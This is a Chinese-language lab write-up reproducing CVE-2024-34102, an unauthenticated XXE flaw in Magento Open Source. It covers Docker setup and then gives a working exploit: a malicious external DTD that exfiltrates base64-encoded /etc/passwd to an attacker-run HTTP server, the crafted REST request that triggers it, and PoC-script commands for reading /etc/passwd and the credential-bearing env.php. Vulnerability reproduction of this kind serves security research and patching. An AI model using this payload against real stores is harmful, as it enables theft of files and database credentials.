【漏洞复现】CVE-2024-34102 Magento Open Source XXE漏洞

目录

漏洞介绍

影响版本

环境搭建

查看版本

漏洞复现

手动复现

[漏洞 poc](#漏洞 poc)


  • Magento Open Source 是一个免费开源的电子商务平台,适合中小企业或开发团队通过自定义代码和插件创建在线商店。它由社区开发和支持,功能强大但需要更多的技术投入。
  • Adobe Commerce 是 Magento 的付费版,增加了高级功能、托管服务、技术支持和企业工具,适合需要复杂功能和高性能支持的大型企业。

Magento Open Source 和 Adobe Commerce 都属于 Adobe 公司。它们来源于同一个平台:Magento,最初由 Magento, Inc. 开发,但后来在 2018 年被 Adobe 收购。在收购后,Adobe 将 Magento 平台重新划分为两种版本:Magento Open Source(社区版)和Adobe Commerce(企业版)。

漏洞介绍

Adobe Commerce和Magento Open Sourc多个受影响版本中存在XML外部实体引用限制不当,未经身份验证的威胁者可发送引用外部实体的恶意设计的 XML文档来利用该漏洞,成功利用可能导致任意代码执行。

影响版本

Adobe Commerce 和 Magento Open Source

  • 2.4.7-p1 and earlier
  • 2.4.6-p6 and earlier
  • 2.4.5-p8 and earlier
  • 2.4.4-p9 and earlier

环境搭建

安装 Magento 需要 至少 6GB 的 RAM 分配给 Docker。这是因为 Magento 是一个复杂且资源密集的电子商务平台,安装过程中需要运行多个服务和工具。

  • 系统:ubuntu2020
  • 版本:Magento Open Source 2.4.7

安装方法,参考:https://github.com/markshust/docker-magento/?tab=readme-ov-file#new-projects

mkdir -p ~/Sites/magento
cd $_
curl -s https://raw.githubusercontent.com/markshust/docker-magento/master/lib/template | bash
bin/download community 2.4.7 community
bin/setup magento.test

禁用 Magento 的双重认证模块,避免每次登录时输入验证码。

docker exec -it magento-phpfpm-1 bash
bin/magento module:disable Magento_AdminAdobeImsTwoFactorAuth
bin/magento module:disable Magento_TwoFactorAuth

然后绑定下 host 文件,访问:https://magento.test


如果访问网站响应非常慢,建议切换到生产模式。默认安装后在开发模式下运行,所有的配置和静态内容会在每次请求时动态加载,这会导致较慢的页面加载时间。

切换到 生产模式(production mode):

bin/magento deploy:mode:set production

如果在安装的时候,访问 Magento 需要密钥。username 为 public-key。Password 为 private-key

获取密钥的方式如下:

  1. 到官方注册 Magento 账号:Sign in
  2. 登录 Marketplace,打到My Profile 的 Access Keys 页面新建一个自己的 Access Key。或直接进入页面:Sign in

查看版本

bin/magento --version

漏洞复现

手动复现

  1. 编辑 poc.xml 文件,读取 /etc/passwd 文件

    <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://192.168.67.147:80/poc.xml?%data;'>">

然后在当前目录启动一个 web 服务:http://192.168.67.147:80/poc.xml

python -m http.server 80
  1. 构造请求利用 XXE 读取文件

    POST /rest/all/V1/guest-carts/test-assetnote/estimate-shipping-methods HTTP/2
    Host: magento.test
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
    Accept-Encoding: gzip, deflate, br
    Accept: application/json, text/javascript, /; q=0.01
    X-Requested-With: XMLHttpRequest
    Content-Type: application/json
    Content-Length: 267

    {"address": {"totalsReader": {"collectorList": {"totalCollector": {"sourceData": {"data": "<?xml version=\"1.0\" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM \"http://192.168.67.147:80/poc.xml\"> %sp; %param1; ]> <r>&exfil;</r>", "options":12345678 }}}}}}

漏洞 poc

poc:https://github.com/bigb0x/CVE-2024-34102,这里 poc 需要修改一下,将其中的 options 值修改为 12345678,否则有些文件读取不出来

cve-2024-34102.py -u https://magento.test -ip 本地ip -p 端口 -r /etc/passwd

读取 /var/www/html/app/etc/env.php 文件,这个文件定义了 Magento 的数据库连接信息,以及其他服务如 Elasticsearch、RabbitMQ 等服务的连接信息

cve-2024-34102.py -u https://magento.test -ip 192.168.67.147 -p 80 -r /var/www/html/app/etc/env.php

参考:

http://www.bmth666.cn/2024/06/28